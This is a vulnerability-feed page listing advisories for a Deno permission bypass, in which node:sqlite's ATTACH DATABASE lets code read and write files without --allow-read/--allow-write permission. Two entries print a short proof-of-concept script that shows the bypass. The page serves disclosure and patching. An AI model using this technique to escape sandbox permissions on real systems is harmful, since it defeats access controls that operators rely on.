Most recent entries from all

EUVD-2026-243047

2026-10-18T16:17:30.208239+00:00

EUVD-2026-243047

fkie_cve-2025-48935

2026-10-18T16:17:30.208269+00:00

Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 2.2.0 and prior to versions 2.2.5, it is possible to bypass Deno's permission read/write db permission check by using `ATTACH DATABASE` statement. Version 2.2.5 contains a patch for the issue.

GHSA-8vxj-4cph-c596 — Deno has --allow-read / --allow-write permission bypass in `node:sqlite`

2026-10-18T16:17:30.208299+00:00

Affected: crates.io: deno, crates.io: deno_node

## Summary

It is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement.

## PoC

```js // poc.js import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);"); ```

``` $ deno poc.js ```

RUSTSEC-2025-0138 — --allow-read / --allow-write permission bypass in `node:sqlite`

2026-10-18T16:17:30.208330+00:00

Affected: crates.io: deno

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.

## PoC

``` // poc.js import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);"); ```

``` $ deno poc.js ```